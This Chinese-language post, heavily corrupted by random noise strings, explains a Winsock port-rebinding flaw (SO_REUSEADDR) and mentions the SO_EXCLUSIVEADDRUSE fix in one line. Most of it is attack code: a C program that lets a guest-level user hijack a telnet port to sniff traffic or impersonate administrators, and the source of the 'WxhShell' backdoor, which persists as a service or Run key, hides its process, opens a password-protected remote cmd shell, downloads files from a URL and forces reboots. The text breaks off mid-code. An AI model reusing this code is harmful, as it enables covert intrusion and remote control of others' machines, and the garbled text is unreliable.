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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: AgDXpaq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #pD=TMefC 5n::]Q%=D saddr.sin_family = AF_INET; 3ug>,1:6- %~dn5t; saddr.sin_addr.s_addr = htonl(INADDR_ANY); Kk \,q? 80U(q/H%9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =m;cy0)) S>[&] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 UHI<8o9 | m#" 这意味着什么?意味着可以进行如下的攻击: ;P8.U( xM&`>`;^e 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !4"$O@U4 Qoz4(~I 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;M O,HdP; &61h*s 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
s_!F`[ bM,%+9oz; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 tac_MtW? C7l4X8\w 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TaG(sRI %pxHGO=)E 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tv9 R$-cJ gue~aqtJ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YQ-V^e6 qwuA[QkPi #include F@xKL;'N74 #include xqj@T^y #include {UuSNZ[^ #include _BND{MsX DWORD WINAPI ClientThread(LPVOID lpParam); P.Qz>c^-C int main() e$-Y>Dd { I5E4mv0<i WORD wVersionRequested; kznm$2 b DWORD ret; GS,}]c= WSADATA wsaData; pq,8z= Uf BOOL val;
)jH|j SOCKADDR_IN saddr; U5;Y o+z SOCKADDR_IN scaddr; Oz5Ze/HBN int err; ]2mfby SOCKET s; WHR6/H SOCKET sc; }ho6 int caddsize; ?fvK<0S` HANDLE mt; :
UDh{GQ* DWORD tid; _lZWy$rm% wVersionRequested = MAKEWORD( 2, 2 ); ugQySg> err = WSAStartup( wVersionRequested, &wsaData ); p~<d8n4UH if ( err != 0 ) { hx!hI1
printf("error!WSAStartup failed!\n"); QqB9I-_ return -1; A~wVY } Dp;6CGYl? saddr.sin_family = AF_INET; ByW,YKMy u[LsH //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9y*pn|A[F ,M9Hdm saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X8 saddr.sin_port = htons(23); NfXEW- if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O.'\GM { i/q1> printf("error!socket failed!\n"); tQ(gB_ return -1; ?`=r@ } 6cTd
SE val = TRUE; >?^_JEC6 //SO_REUSEADDR选项就是可以实现端口重绑定的 =.6JvX<d1* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j<'ZO)q`Q { E3 aj printf("error!setsockopt failed!\n"); ),4cb return -1; u|M_O5^ } McRfEF\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )\l(h%s[I //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >WYradLUi //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6 9EdMuf 6e:#x:O if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,(Nr_K { @LR :^>&* ret=GetLastError(); K|sx"u|? printf("error!bind failed!\n"); hd_<J]C return -1; vFl06N2 } ~Jx0#+z9V listen(s,2); P^& =L&U while(1) (@;=[5+ { gSXidh}^ caddsize = sizeof(scaddr); :B5M#D!dO //接受连接请求 (2p<I)t sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q#t&\M.U if(sc!=INVALID_SOCKET) rnS&^ { VL| q`n mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -DE?L,9X9 if(mt==NULL) ;n;bap { Eh/Z4pzT printf("Thread Creat Failed!\n"); eaCh;IpIf break; !5=S2<UX } %g{<EuK]p } gP:H_nVh CloseHandle(mt); Xi81?F?[ } b]xE^zM-I` closesocket(s); _!Ir|j.A WSACleanup(); [X\~J &kD return 0; pF}WMt } &ub0t9R DWORD WINAPI ClientThread(LPVOID lpParam) 8AuOe7D9A { Vs@H>97,G SOCKET ss = (SOCKET)lpParam; ~Rk~Zn SOCKET sc; vOi4$I~CJ unsigned char buf[4096]; BoHpfx1C SOCKADDR_IN saddr;
mPS27z( long num; xmBGZ4f% DWORD val; 7dtkylW DWORD ret; }>< v7 //如果是隐藏端口应用的话,可以在此处加一些判断 9@yi
UX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ]c~W$h+F saddr.sin_family = AF_INET; #f-pkeaeq saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }?^5L7n saddr.sin_port = htons(23); Z[?zaQ$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y;xY74Nq { m%)Cw)t
7 printf("error!socket failed!\n"); 8D6rShx = return -1; y,cz;2 } F0]xc val = 100; ~zph,bk if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1XPYI { 4"~l^yK ret = GetLastError(); 1%`Nu ]D return -1; "1|\V.>>; } > xie+ ^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3*!w c.= { >Pf\"%* ret = GetLastError(); r%412# return -1; \_l4li } }C!g x6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +
[~)a4# { p4^&G/' printf("error!socket connect failed!\n"); y ]D[JX[ closesocket(sc); 8"yZS)09
closesocket(ss); fOJTy0jX8 return -1; x".!&5 } P87Lo4Rd while(1) EaKbG> { CWa~~h<r- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ODNZLCB~t //如果是嗅探内容的话,可以再此处进行内容分析和记录 /X;/}fk //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hI 1or4V num = recv(ss,buf,4096,0); zyP9
n[eZ if(num>0) kJK*wq]U6 send(sc,buf,num,0); nZ %%{#T7 else if(num==0) _"[Ls?tRX break; $0XR<D num = recv(sc,buf,4096,0); 6_g:2=6S if(num>0) qNi`OVh& send(ss,buf,num,0); z)Lw\H^/ else if(num==0) K$I`&M( break; (\UpJlW } 7#(0GZN9h% closesocket(ss); o[)*Y`xq<w closesocket(sc); )kD B*(? return 0 ; >Og| *g } V{UY_
e8W :!ablO~ H3LuRGe&2 ========================================================== ZI.Czzx\= |]5`T9K@b# 下边附上一个代码,,WXhSHELL h"7~`!"~ {mUt|m7! ========================================================== XAZPbvG|$ {krBAz& #include "stdafx.h" V1haAP[# 9yz@hdG #include <stdio.h> % {-r'Yi% #include <string.h> Qk >9o #include <windows.h> $0k7W?tu #include <winsock2.h> V*DD U]0k #include <winsvc.h> C_Z/7x*>d #include <urlmon.h> 05:?5M4}; n?U^vK_ #pragma comment (lib, "Ws2_32.lib") ^a<kp69qS #pragma comment (lib, "urlmon.lib") Lt
^*L%x 67XUhnE #define MAX_USER 100 // 最大客户端连接数 >#)%/Ti}DU #define BUF_SOCK 200 // sock buffer =R<92v #define KEY_BUFF 255 // 输入 buffer XFYa+]B2q y^z
c@f #define REBOOT 0 // 重启 1_};!5$. #define SHUTDOWN 1 // 关机 'E&tEbY $6(a6! #define DEF_PORT 5000 // 监听端口 ex
BLj
*] 'iTY? #define REG_LEN 16 // 注册表键长度 1[J|AkN #define SVC_LEN 80 // NT服务名长度 Zl>dBc% ltlo$`PR // 从dll定义API Kv2S&P|jXM typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w51l;2$des typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c/igw+L() typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~>N63I6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 684d&\(s 9ln=f= // wxhshell配置信息 8N+T=c struct WSCFG { ``eam8Az_U int ws_port; // 监听端口 I)yF!E & char ws_passstr[REG_LEN]; // 口令 S~hu(x# int ws_autoins; // 安装标记, 1=yes 0=no v K[%cA" char ws_regname[REG_LEN]; // 注册表键名 M9""(`U char ws_svcname[REG_LEN]; // 服务名 nzaA_^`mB char ws_svcdisp[SVC_LEN]; // 服务显示名 R7U%v"F>` char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]Vmo> char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '
,S}X\ int ws_downexe; // 下载执行标记, 1=yes 0=no C<3<,~gI char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 22=sh;y+2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *c [^/ \=7jp|{Yl }; kiyc ^s BjagG/sX // default Wxhshell configuration ZX64kk+ struct WSCFG wscfg={DEF_PORT, &^#u=w?^x "xuhuanlingzhe", EEnl' 1, NPS*0 y/ "Wxhshell", dJ
m9''T') "Wxhshell", \hZ%NLj "WxhShell Service", {?5iK1|}K "Wrsky Windows CmdShell Service", '5 ~cd "Please Input Your Password: ", =#,`k<v%I 1, :)D7_[i " http://www.wrsky.com/wxhshell.exe", E_aBDiyDf "Wxhshell.exe" rv(?%h`
}; (y 7X1Qc) KMz!4N // 消息定义模块 J-Tiwl char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "GQ Q8rQ char *msg_ws_prompt="\n\r? for help\n\r#>"; P3: t
4^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; <K`E*IaW char *msg_ws_ext="\n\rExit."; bY=[ USgps char *msg_ws_end="\n\rQuit."; p/?o^_s char *msg_ws_boot="\n\rReboot..."; eF22 ~P char *msg_ws_poff="\n\rShutdown..."; $q)YC.5$ char *msg_ws_down="\n\rSave to "; %ACW"2#( a
\1QnCy char *msg_ws_err="\n\rErr!"; |DJ8
"T]E char *msg_ws_ok="\n\rOK!"; =uH2+9. U`i5B;k}- char ExeFile[MAX_PATH]; G:":CX"O( int nUser = 0; xlS*9>Ij HANDLE handles[MAX_USER]; l^9gFp~I int OsIsNt; ,M;9|kE* PnA{@n\ SERVICE_STATUS serviceStatus; <3x%-m+p4 SERVICE_STATUS_HANDLE hServiceStatusHandle; 5tQz!M <[cpaZT, // 函数声明 5b7(^T^K int Install(void); KU/r"lMNlU int Uninstall(void); 31a,i2Q4 int DownloadFile(char *sURL, SOCKET wsh); fUkqhqe int Boot(int flag); 5'I+%66?h$ void HideProc(void); DFK@/.V int GetOsVer(void); {fzX2qMZ] int Wxhshell(SOCKET wsl); gmRc4o void TalkWithClient(void *cs); 5]N0p,f int CmdShell(SOCKET sock); k.ou$mIY int StartFromService(void); BB/wL_=: int StartWxhshell(LPSTR lpCmdLine); E]OexRJ^i M?eP1v:<+G VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xo_STLAw VOID WINAPI NTServiceHandler( DWORD fdwControl ); W^tD6H; WMf /
S"= // 数据结构和表定义 Ayw_LCUD SERVICE_TABLE_ENTRY DispatchTable[] = My8d%GfM { $v;WmYTJ {wscfg.ws_svcname, NTServiceMain}, Xfq`k/ W {NULL, NULL} ;`78h?` }; gu(:'5cX ;{sZDjev> // 自我安装 XIl<rN@- int Install(void) Trv}YT. { j~-N2b6z char svExeFile[MAX_PATH]; F?Lt-a+ HKEY key; )j36Y =r3 strcpy(svExeFile,ExeFile); XHk"nbj UA6id|G // 如果是win9x系统,修改注册表设为自启动 =GX5T(P8k if(!OsIsNt) { k<< x}= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c4tw)O-X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eJ?oz^ RegCloseKey(key); gZ,h95' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6nW)2LV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 90Ki.K 0 RegCloseKey(key); wXQxZuk[ return 0; $gUlM+sK } > <YU'>% } yJ $6vmQ } i/9iM\2 else { )UKX\nD"0 6m:$mhA5 // 如果是NT以上系统,安装为系统服务 <L-F3Buu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
H9*k(lnz` if (schSCManager!=0) qIi
\[Ugh { PILpWhjL$9 SC_HANDLE schService = CreateService %~!4DXrMk ( 8fXiadP# schSCManager, 1rm\ u% wscfg.ws_svcname, keAoJeG,J wscfg.ws_svcdisp, W+ S~__K SERVICE_ALL_ACCESS, s;VW
%e SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &<F9Z2^ SERVICE_AUTO_START, >rd#,r SERVICE_ERROR_NORMAL, |MwV4^ svExeFile, FzInIif NULL, ) D@j6r NULL, ?M4o>T%p " NULL, C"I
jr=w NULL, m+(Cl#+ NULL /lBK )( ); ^&>B,;Wu if (schService!=0) 2%%\jlT_ { f^F;`;z CloseServiceHandle(schService); P 45Irir CloseServiceHandle(schSCManager); T9nb ~P[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
!VGG2N8 strcat(svExeFile,wscfg.ws_svcname); c{M
,K if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }S> 4.8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y(PCc}/\ RegCloseKey(key); FLi'}C return 0; .#( vx; } 2R/|/>T v } | v!N1+v0 CloseServiceHandle(schSCManager); _ ;HdX$op } bZ`v1d
(r } ofy"SM X-["{ return 1; sYKx3[ V/ } 0 +=sBk ( cH5i420;aO // 自我卸载 $+4DpqJ int Uninstall(void) As,`($= { ^')8-aF
. HKEY key; "Rj
PTRe: \g}]u(zg% if(!OsIsNt) { x%mRDm~- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m{q'RAw RegDeleteValue(key,wscfg.ws_regname); 5u$.!l8Nl RegCloseKey(key); p2STy\CS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^j}C]cq{Xg RegDeleteValue(key,wscfg.ws_regname); EFX2>&mWo8 RegCloseKey(key); d( v"{N} return 0; OUBGbld } tMl y*E } zhn?;Fi } &da=hc,>% else { o}AXp@cqi
3ahriZe SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =KPmZ ,/w if (schSCManager!=0) e;.,x 5+ { Pe%[d[k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j,YrM?Xdo if (schService!=0) i~u4v3r= { qk& F>6<9* if(DeleteService(schService)!=0) { /2K"Mpf8 CloseServiceHandle(schService); k~[jk5te CloseServiceHandle(schSCManager); \+o\wTW return 0; SEgw!2H } d.&_j`\F CloseServiceHandle(schService); hUMG}< } ifn=De3+ CloseServiceHandle(schSCManager); mb*Yw6q } =4_}. } ZF7@ b/-me IyO0~Vx> return 1; uaIAVBRcS } U%vTmdOY Z %pc" // 从指定url下载文件 alJ0gc2?
int DownloadFile(char *sURL, SOCKET wsh) ~n
'A1 { N'b GL% HRESULT hr; x1:mT[[$ char seps[]= "/"; t24`*' char *token; R}oN8 char *file; 'n|U
char myURL[MAX_PATH]; FVXsu!R char myFILE[MAX_PATH]; ^wy YJ~<pH strcpy(myURL,sURL); JC'3x9_<z token=strtok(myURL,seps); 9B~&d(Bm while(token!=NULL) Luao?;|U { O?vh]o file=token; rxp|[>O< token=strtok(NULL,seps); a?gF;AYk } !*l /Pr^8 0H_Ai=G GetCurrentDirectory(MAX_PATH,myFILE); }8#olZ/(q strcat(myFILE, "\\"); @!iS`u strcat(myFILE, file); ?e9tnk3 send(wsh,myFILE,strlen(myFILE),0); c =m#MMc) send(wsh,"...",3,0); ]t<=a6<P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ->ZP.7 if(hr==S_OK) 4Uny.C] return 0; Mmz;
uy_ else vU%o5y: return 1; #ed|0 ]*NYuEgc } /3)\^Pof ";.j[p:gi // 系统电源模块 kw59`z Es int Boot(int flag) &l cfX\y { q%,86A> HANDLE hToken; ztU"CRa8 TOKEN_PRIVILEGES tkp; feXo"J M2%@bETJ if(OsIsNt) { Wl3S]4A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TqJ @l LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tE0{ae tkp.PrivilegeCount = 1; aH;AGbp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N:|``n> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A"r<$S6 if(flag==REBOOT) { POk5+^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6EC',=)6R return 0; w*{{bISw| } 8K2 @[TE=5 else { 1*A^v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XrUI[ryE return 0; 'A{zH{ } x((u } ";dS~(~ else { _L=-z*a\ if(flag==REBOOT) { =
V')}f~C if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z1b@JCWE return 0; 7a>+ma\ } 7 Td
9mkO else { BqJ|l7+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Gt{%O>P8t return 0; ~5Fx[q } @@@}FV& } M2V`|19Q NcbW"Qv3 return 1; X:t?'41m\ } ##By!FTP B _ J2Bf // win9x进程隐藏模块 0]f/5jvLj void HideProc(void) KHP/Y{mH { F&`%L#s| h>>~B i HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DN%JT[7 if ( hKernel != NULL ) l`#rhuy` { \DlMOG pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cGs&Kn;h ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5(2 C FreeLibrary(hKernel); DI(X B6 } w15a~\Qu KCpq<A% return; 9b6U]z, } e{5O>RO % dtn*NU // 获取操作系统版本 G_qt~U int GetOsVer(void) )" Z|x { c0l?+:0M OSVERSIONINFO winfo; ^:$ShbX"P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [ Y{ GetVersionEx(&winfo); CXGMc)#>f if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hi2JG{i return 1; V:t{mu5j else ]):>9q$C return 0; +BM[@?"hrh } _J2?B?S/j Zcw<USF8 // 客户端句柄模块 :3s^, g int Wxhshell(SOCKET wsl) }s"].Xm^2 { yzl}!& E SOCKET wsh; =oq= ``% struct sockaddr_in client; 2zbn8tO DWORD myID; vo:h"ti KbciRRf!k while(nUser<MAX_USER) `tuGy}S2
{ ,ExY.'%1 int nSize=sizeof(client); cb|hIn\>7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Rxr?T- if(wsh==INVALID_SOCKET) return 1; a6A~,68/V =b"{*Heuw handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z[vu-f9 if(handles[nUser]==0) vqVwo\oEdU closesocket(wsh); 3me&isKL else RZVZ#q(DU nUser++; > Xij+tt{ } tCRsaDK> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e NH9`Aa ugj I$u return 0; x&JD~,Y } p1.3)=T M(C$SB> // 关闭 socket CRiqY_gBf void CloseIt(SOCKET wsh) 5-H"{29 { C%ZPWOc_8 closesocket(wsh); ^U*1_|Jh nUser--;
$tc1te ExitThread(0); MO| Dwuaf } "&`>+Yw F|'u0JQ)$ // 客户端请求句柄 N9*QQ0 void TalkWithClient(void *cs) Lr
d- { ;bHS^ 9pr.`w SOCKET wsh=(SOCKET)cs; f<oU"WM char pwd[SVC_LEN]; O~?d;.b char cmd[KEY_BUFF]; WCk. K char chr[1]; 5yj# 9H int i,j; OTAe#]# O:~J_Wwl! while (nUser < MAX_USER) { Nq6;
z)$ !&.-{ _$ if(wscfg.ws_passstr) { P1^|r} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e^x%d[sU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '.gi@Sr5 //ZeroMemory(pwd,KEY_BUFF); pp{p4Z i=0; V[Sj+&e& while(i<SVC_LEN) { a2]ZYY`R7 %] :ZAmN // 设置超时 _7qa~7?f fd_set FdRead; RE D@|[Qh struct timeval TimeOut; <R~;|&o,$ FD_ZERO(&FdRead); #W.vX=/* FD_SET(wsh,&FdRead); paMK]- TimeOut.tv_sec=8; (u='&ka TimeOut.tv_usec=0; /?b{*<TK int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o=Mm=;H if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \P"Ol\@ 9KJ}Ai if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BG.sHI{ pwd =chr[0]; EDh-pK if(chr[0]==0xd || chr[0]==0xa) { 9HPwl pwd=0; LCzeE7x break; %.'oY% } 9:=:P> i++; 3^$=XrD } Bc-/s(/Eq Bu?Qyz2O // 如果是非法用户,关闭 socket ,&fZo9J9 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !mB
`F C } C?W}/r[ 1{a4zGE?[ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P*U^,Jh< send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IGlyx'\_ Y" rODk1 while(1) { jT F" nZ#u#V ZeroMemory(cmd,KEY_BUFF); wuk\__f4 z!.cc6R // 自动支持客户端 telnet标准 N 6\Ey{ j=0; oS<GjI: while(j<KEY_BUFF) { D,lY_6= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Fj9.K~k cmd[j]=chr[0]; Dbq/t^ if(chr[0]==0xa || chr[0]==0xd) { CBpwtI>p cmd[j]=0; iE_[]Vgc break; ma<uXq } 6R$Yh0% j++; o-AF_N } ]ZW-`U MO I36%oA // 下载文件 O?"uM >r if(strstr(cmd,"http://")) { myqwU`s send(wsh,msg_ws_down,strlen(msg_ws_down),0); %3"U|Za+ if(DownloadFile(cmd,wsh)) ;mGPX~38 send(wsh,msg_ws_err,strlen(msg_ws_err),0); iC>%P&|-)| else 7fS NF7/+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0L ,!o[L* } XJy.xI>; else { 0_Elxc fBz|-I:k
+ switch(cmd[0]) { @0C[o9 CPeu="[ // 帮助 NpKyrXDJv case '?': { Ai^0{kF6 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JL{fW>5y| break; J~oxqw} } 2dHsM'ze // 安装 x'OP0],# case 'i': { *
{~`Lw)y if(Install()) _IV!9 JL send(wsh,msg_ws_err,strlen(msg_ws_err),0); q"DHMZB else dxH\H?NO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x(4"!# break; V[WLS ?-) } %W=BdGr[8z // 卸载 X=lsuKREZ case 'r': { i3d2+N` if(Uninstall()) 0w< ilJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Cg7 else PX2b(fR8_O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iWFtb)3B break; >ke.ZZV? } oR,zr // 显示 wxhshell 所在路径 _iEnS4$A8 case 'p': { "O|.e`C%^ char svExeFile[MAX_PATH]; | WTWj strcpy(svExeFile,"\n\r"); %4V$')rek strcat(svExeFile,ExeFile); "9" send(wsh,svExeFile,strlen(svExeFile),0); %B1)m A; break; "M\rO!f: } _O11SiP] // 重启 d<HO~+9 case 'b': { jAv3qMQA send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HvKdV`bz if(Boot(REBOOT)) ~{-Ka>A send(wsh,msg_ws_err,strlen(msg_ws_err),0); ])%UZM6 else { h| `R[ closesocket(wsh); 0E,QOF{o ExitThread(0); fR+{gazk
n } TA:uB[Ji break; +{m+aHk } A=Hv}lv // 关机 zxH<~2 case 'd': { 0 z]H= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JP5en if(Boot(SHUTDOWN)) oOAkwc%)b send(wsh,msg_ws_err,strlen(msg_ws_err),0); W=LJhCpRHj else { yHlQKI closesocket(wsh); 11Qi
_T\ ExitThread(0); pzUr9 } .X"&kO>G break; I&gd"F _v} } I|>.&nb // 获取shell J7aYi]vI case 's': { /me ]sOkn CmdShell(wsh); @p}_"BHYWt closesocket(wsh); %hw4IcWJ| ExitThread(0); KIR3m
) break; LpSF*xm } 2QEH!)lvr // 退出 |%fNLUJ) case 'x': { *A8Et5HAv send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l{ql'm CloseIt(wsh);
98^7pa break; @]8flb
)T } BA@M>j6d // 离开 *:"60fkoU case 'q': { e8oAGh" send(wsh,msg_ws_end,strlen(msg_ws_end),0); f&$;iE closesocket(wsh); f#m@eb WSACleanup(); !b4AeiL>w exit(1); @,;h!vB*= break; m|x_++3 } :hW(2=% } tX@y ]" } _T~&kwe VAUd^6Xdwx // 提示信息 I>vU;xV\m if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m_Z(osoE#W } h&v].l } 2_o\Wor# 9) $[W return; U:eX^LE7 } <SOG?Lh~ ,{msJyacmR // shell模块句柄 d)D!np= int CmdShell(SOCKET sock) a}|<*!4zUQ { 9IrCu?n9b STARTUPINFO si; Mqk|H~l5c ZeroMemory(&si,sizeof(si)); 9 BU#THDm si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Eyk:pnKJb si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /YU8L PROCESS_INFORMATION ProcessInfo; hNkv lk'Ui char cmdline[]="cmd"; PVdN)tG5 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~)>.%`v& return 0; ZGI<L } ?p 4iXHE <RbfW'<G // 自身启动模式 V?)V2>] int StartFromService(void) w9RBT(u { &+ PVY>q typedef struct %H&WihQ { =_g#I DWORD ExitStatus; a.JjbFL DWORD PebBaseAddress; |22vNt_ DWORD AffinityMask; `'EG7 DWORD BasePriority; qdKqc,R1{ ULONG UniqueProcessId; 3XQe? 2:< ULONG InheritedFromUniqueProcessId; 5 $$Cav } PROCESS_BASIC_INFORMATION; X%JyC_~< Q8QB{*4 PROCNTQSIP NtQueryInformationProcess; vdB2T2F i^Jw`eAmT static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F^%\AA]8 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fv$w:r]q6 Jg{K!P|i HANDLE hProcess; Y"KJ`Rx PROCESS_BASIC_INFORMATION pbi; &b*v7c=o C2=PGq HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iQG]v[$ if(NULL == hInst ) return 0; GBR$k P B"#pvJN g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <|X+T, g_pGetModuleBaseName = 